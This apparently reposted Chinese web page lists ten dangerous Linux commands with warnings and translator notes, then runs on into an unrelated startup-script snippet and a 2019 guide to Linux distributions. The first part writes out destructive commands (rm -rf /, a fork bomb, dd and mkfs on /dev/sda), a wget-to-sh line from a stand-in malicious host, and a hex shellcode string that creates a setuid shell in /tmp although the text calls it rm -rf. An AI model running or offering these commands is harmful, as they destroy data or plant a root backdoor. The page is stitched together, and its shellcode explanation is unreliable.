Linux中最危险的10个命令

Linux中最危险的10个命令,第1张

Linux中最危险的10个命令

对于编程人员或或者Linux系统管理员来说, *** 作Linux系统最常见的方法就是使用命令行。当然,Linux命令行佷有用、很高效,但有时候也很危险,尤其是在你误 *** 作或者不确定你自己在正在做什么的时候。下面我就为大家盘点最危险是10个命令,一起来看看吧!

当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药在普 通用户身份下,破坏的只是自己的一亩三分地。

1. rm -rf 命令

rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些rm 命令的选项。

rm 命令在Linux下通常用来删除文件。

rm -r 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)

rm -f 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数 只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来 要求删除确认,而-f则抑制了这个提示。)

rm -rf / : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)

rm -rf *: 强制删除当前目录的所有文件。

rm -rf . : 强制删除当前文件夹及其子文件夹。

从 现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好 你在做什么!译者本人有着血泪的教训啊。)

2. :(){:|:&}: 命令

这就是个fork 炸d的实例。具体 *** 作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。

:(){:|:&}:

哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~

3. 命令 >/dev/sda

上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该 *** 作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

4. mv 文件夹 /dev/null

这 个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写 *** 作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止 数据恢复软件的救赎,所以,真正的`彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)

# mv /home/user/* /dev/null

上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。

5. wget http://malicious_source -O- | sh

上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。

注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)

6. mkfs.ext3 /dev/sda

上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱 动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设 备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁 灭性的,上面的数据都会被蒸发了。)

7. >file

上列命令常用来清空文件内容(译注:通常也用于记录命令输出。 不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是 “>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “>xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。

8. ^foo^bar

这个命令在“鲜为人知而又实用的 Linux 命令大全:http://blog.csdn.net/zhu_xun/article/details/17018799”中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)

9. dd if=/dev/random of=/dev/sda

上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)

10. 隐藏命令

下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。

这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyondchmod 4755/tmp/.beyond”

注意: 不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令,因为这将导致数据丢失或者系统崩溃。如果你想测试它们,请在虚拟机上运行。

有两种方法。

1、直接在/ect/rc.local中exit和0之前添加,重启即可,最简单的方法。

2、在/etc/init.d/下新建启动脚本,在/etc/rc2.d/下用软链接,链接此脚本即可。

Linux,全称GNU/Linux,是一种免费使用和自由传播的类UNIX *** 作系统,其内核由林纳斯.本纳第克特.托瓦兹于1991年10月5日首次发布,主要受到Minix和Unix思想的启发,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的 *** 作系统。

2019年即将结束。虽然Linux的世界确实提供了很多选择,但一开始它可能会让人不知所措。这就是为什么我们准备本指南来帮助您选择最适合您需要的Linux发行版的原因。

有些发行版在一种任务上表现更好,有些则是多面手,依此类推。因此,让我们找到最适合您的:

1.最适合初学者的发行版:Linux Mint

开源软件和Linux的普及度逐年增加,并且越来越多的人正在学习Linux。对于那些用户,选择具有平滑学习曲线的Linux发行版至关重要。这种易用性是为初学者推荐Linux发行版时要牢记的最有价值的一点。

Linux Mint 是发展最快的Linux发行版之一。在普及竞赛中,它一直在挑战Ubuntu。除此之外,Linux Mint凭借其近乎完美的桌面体验,已确立了自己作为Windows *** 作系统的完美替代品的地位。我之所以将其称为最佳的Linux新发行版,是因为它能够为用户提供开箱即用的体验。这意味着您无需花费大量时间来安装发行版和软件包,就可以完成一些真正的工作。它的占地面积不大,这是另一个要点。

为什么最适合初学者?

在此处访问Linux Mint的网站。

针对Linux新用户的其他建议:

2.适用于旧硬件的最佳Linux发行版:Ubuntu MATE

对于那些相信Internet安全重要性的人们来说,看到Windows XP在政府办公室和银行中到处可见令人沮丧。但是,我们有许多Linux发行版形式的可靠且安全的替代方案。在确定适用于过时硬件的最佳Linux发行版时,低占用空间和轻便是主要因素。

要在2019年在较旧的PC上运行Linux,建议您使用 Ubuntu MATE 。最新的19.04版本是对18.10版本的较小升级。根据您的喜好,您可以从大量布局选项中进行选择,例如Mutiny,Cupertino,Traditional,Netbook,Redmond等。如果您想要一个更加稳定的系统,则可以选择Ubuntu MATE 18.04 LTS版本来确保您的计算机保持更新很长时间。

Ubuntu MATE的最低硬件要求仅为512MB。32位ISO的可用性是我在最佳Linux发行版列表中推荐它的另一个原因。随着越来越多的发行版疏远了这种垂死的体系结构,Ubuntu MATE是为数不多的积极开发的选项之一。

为什么要为旧计算机选择Ubuntu MATE?

要获取其ISO映像,请访问 Ubuntu MATE网站。

有一台旧电脑?您还可以尝试以下 *** 作:

3.最佳的黑客Linux:Kali Linux

对于黑客, Kali Linux 绝对是无可匹敌的。它带有数百个有用的工具,这些工具属于不同类别,例如漏洞分析,无线攻击,Web应用程序,利用工具,压力测试,取证工具等。基于Debian Testing分支,该发行版中的大多数软件包都是从Debian导入的。最近的2019.3版本也标志着Offensive Security和Cloudflare之间建立合作关系的开始,以确保以更可靠的方式更新。

除了功能齐全的台式机,Kali还可以安装在Raspberry Pi,Ordroid,Chromebook,BeagleBone等上。随着Kali NetHunter的到来,它也可用于Android智能手机。

为什么要安装Kali进行道德黑客攻击?

访问Kali Linux网站进行下载。

还有什么可以尝试进行道德黑客攻击的?

4. Linux 游戏 发行版:Manjaro

即使在今天, 游戏 玩家也不要沿着Linux前进。好吧,鉴于Linux平台的 游戏 可用性较低,不能怪他们。但是,随着越来越多的Linux版本发行,这种情况在过去几年中发生了变化。

虽然2018年最佳Linux发行版列表将Steam OS视为 游戏 的最佳选择,但最新版本将 Manjaro Linux 标记为 游戏 的最佳选择。预装Steam并提供出色的硬件支持是Manjaro方面的一大好处。Manjaro还附带了硬件检测工具,以使整体图形和驱动程序情况清晰可见。如果这听起来很麻烦,请让我告诉您它随附了为Nvidia和AMD卡预安装的图形驱动程序。该发行版还提供了一种在Linux内核之间进行切换的简便方法,以确保获得更好的硬件支持。

在过去的几年中,基于Arch的Manjaro开发了一个忠实的用户群,从而确保其论坛对任何新用户都有用。

为什么要在Manjaro上玩 游戏 ?

抓住Manjaro OS的 游戏 在这里。

其他 游戏 发行版:

5.用于编程的Linux发行版:Debian

我认为没有必要强调这样一个事实,即大多数Linux用户要么是每天使用它来创建新事物的开发人员,要么是某种开源爱好者。事实证明,许多Linux发行版都可以根据他们的要求适合程序员。他们可以安装所有必需的工具,但是通常建议将Debian GNU / Linux作为最佳选择。

Debian Testing分支拥有大量软件包,这些软件包以定期测试,更新和坚如磐石而著称。这种稳定性使程序员可以放心地进行开发。但是,应该记住,仅对具有Linux使用经验的程序员推荐使用Debian。如果您是初学者,则应根据个人喜好使用Ubuntu LTS版本或其他稳定的Linux发行版。

为什么选择Debian进行编程?

Debian网站上有ISO下载和更多信息。

开发人员还有更多选择:

6.最漂亮的Linux发行版:基本OS

最漂亮的Linux发行版不是可以真正判断 *** 作系统功能的标准,但是每当有人选择新发行版时,它就起着重要作用。得益于Linux生态系统提供的灵活性,开发人员可以创建吸引人的新发行版。以我的观点和经验,基于Ubuntu的 基本OS 是最漂亮的Linux发行版,也以其无与伦比的性能而闻名。

Windows和macOS的这种快速,开源的替代品借鉴了macOS的一些设计元素。基本 *** 作系统不附带许多默认的Ubuntu应用程序,因此也提供了轻量级的体验。借助基于GNOME的Pantheon桌面环境,基本OS与Plank,Epiphany和Scratch等应用程序进行了深度集成。总体而言,有经验的初学者都可以使用它来执行日常计算任务。

为什么选择基本 *** 作系统的外观?

访问 基本 *** 作系统网站 进行下载。

其他漂亮的Linux发行版:

7.适用于儿童的Linux发行版:Ubermix

如今,由于行业需求的增长,学习Linux和开源技术可能变得非常重要。但是,孩子呢?如果您想知道是否为孩子们创建了一些很棒的 Linux发行版。好吧,别无所求,因为这些免费的 *** 作系统易于设置和使用。

我建议 Ubermix 是一个对儿童友好的Linux发行版。这个免费的,专门构建的 *** 作系统还附带触摸支持,对于喜欢用手 探索 事物的孩子来说,它是一个绝佳的选择。它试图成为学生和老师的绝佳工具。借助其5分钟的安装,60个有用的免费预加载应用程序以及20秒的恢复过程,Ubermix成为了学生和教师的强大发行版。

为什么为孩子选择Ubermix?

请访问Ubermix网站以获取更多详细信息。

教育性Linux发行版的更多选择

8. Linux发行版的隐私和匿名性:尾巴

如果我告诉你爱德华·斯诺登使用(使用)Tails Linux发行版进行通信和浏览Web,那么有些人可能会想知道这样做的原因是什么。你们中有些人会有一个粗略的主意。Tails的名字叫“ Amnesic Incognito Live System”,它是安全的Web浏览的流行选择。

可以使用DVD或USB映像在几乎任何计算机上启动 Tails live *** 作系统。这个基于Debian的安全发行版可确保所有Internet连接都被强制通过Tor网络。这样,您最终就不会在计算机上留下任何痕迹。它还带有许多加密工具,可帮助您加密电子邮件,文件和即时消息。对于注重隐私的人士,还有其他选择。

为什么选择尾巴来匿名?

访问Tails网站下载

注重隐私的Linux用户的更多选择:

9.服务器Linux发行版:CentOS

您能想象在不稳定且频繁发生故障的Linux发行版上安装服务器吗?这个问题的答案很明显。其他重要因素还包括硬件支持,安全性,电源效率和优化的性能。在这种情况下,有许多免费和付费的选择 ,而CentOS是我在此类别中的推荐。

在Linux桌面世界中,RHEL在企业领域的地位与Ubuntu相同。 CentOS 是无需花费一次费用即可获得RHEL好处的方法。换句话说,CentOS是社区支持的RHEL。由于它与RHEL的二进制版本兼容,并且其存储库包含所有经过测试的软件,因此您可以将其用作生产系统或服务器。它也以通用Linux发行版而闻名。

为什么选择CentOS作为服务器?

访问CentOS网站下载

服务器的其他Linux发行版:

10.适用于功能强大的PC和笔记本电脑的Linux发行版:Ubuntu

Canonical的Ubuntu无需在开源世界中进行介绍。基于Debian架构,Ubuntu设法平衡了稳定性和新功能,这是其他发行版所无法比拟的。这就是为什么它享有无与伦比的人气。如果您运行的计算机的硬件功能有限,则应尝试使用Ubuntu MATE,Xubuntu或Lubuntu等Ubuntu版本。

对于功能强大的PC和笔记本电脑,旗舰 运行GNOME桌面的 Ubuntu 非常适合。随着Snaps的推出,安装应用程序变得更加舒适。它还拥有繁荣的用户社区和论坛,您可以在其中找到任何问题的答案。总体而言,Ubuntu是一个功能强大的Linux发行版,可让您执行多任务并高效地完成工作。

为什么要为功能强大的PC选择Ubuntu?

访问Ubuntu网站下载

适用于功能强大的PC的其他Linux发行版:

还想要其他东西吗?还有更多

那不是全部。有更多类别的Linux发行版可供使用。您可以得到一个用于磁盘管理,应急CD,Raspberry Pi,多媒体制作,Docker,NAS,媒体中心等的工具。但是,在本文中,我将自己限制在流行类别中。在将来的更新中,我将在此最佳Linux发行版选择指南中添加更多类别,以帮助更多读者。

继续阅读Fossbytes,并在下面的注释中共享您喜欢的Linux发行版的名称。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/5934526.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-03-08
下一篇 2023-03-08

发表评论

登录后才能评论

评论列表(0条)

保存